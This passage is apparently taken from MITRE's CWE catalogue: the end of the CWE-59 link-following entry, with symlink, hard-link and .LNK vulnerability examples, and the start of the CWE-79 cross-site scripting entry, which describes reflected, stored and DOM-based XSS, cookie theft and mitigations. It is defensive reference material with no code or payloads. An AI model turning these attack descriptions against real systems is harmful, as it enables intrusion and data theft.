ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.61UNIX Symbolic Link (Symlink) Following
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.62UNIX Hard Link
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.64Windows Shortcut Following (.LNK)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.65Windows Hard Link
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1386Insecure Operation on Windows Junction / Mount Point
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.363Race Condition Enabling Link Following
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Soft links are a UNIX term that is synonymous with simple shortcuts on Windows-based platforms.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Sometimes Prevalent)

Class: Unix (Often Prevalent)

+ Likelihood Of Exploit
Medium
+ Observed Examples
ReferenceDescription
Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
Symlink attack allows local users to overwrite files.
Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
Second-order symlink vulnerabilities
Second-order symlink vulnerabilities
Symlink in Python program
Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
Signal causes a dump that follows symlinks.
Hard link attack, file overwrite; interesting because program checks against soft links
Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
Hard link race condition
Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
".LNK." - .LNK with trailing dot
Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container.
"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.
"Zip Slip" vulnerability in container management product allows writing arbitrary files outside intended directory via a container image (.tar format) with filenames that are symbolic links that point to other files within the same tar file; however, the files being pointed to can also be symbolic links to destinations outside the intended directory, bypassing the initial check.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1185SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLink Following
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT C Secure CodingPOS01-CCheck for the existence of links when dealing with files
SEI CERT Perl Coding StandardFIO01-PLCWE More SpecificDo not operate on files that can be modified by untrusted users
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518. 1st Edition. Addison Wesley. 2006.
[REF-1282] Snyk. "Zip Slip Vulnerability". 2018-06-05. <https://security.snyk.io/research/zip-slip-vulnerability>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Background_Details, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Link Following
2009-05-27Failure to Resolve Links Before File Access (aka 'Link Following')

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  1. Untrusted data enters a web application, typically from a web request.
  2. The web application dynamically generates a web page that contains this untrusted data.
  3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
A common abbreviation for Cross-Site Scripting.
HTML Injection:
Used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.87Improper Neutralization of Alternate XSS Syntax
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.
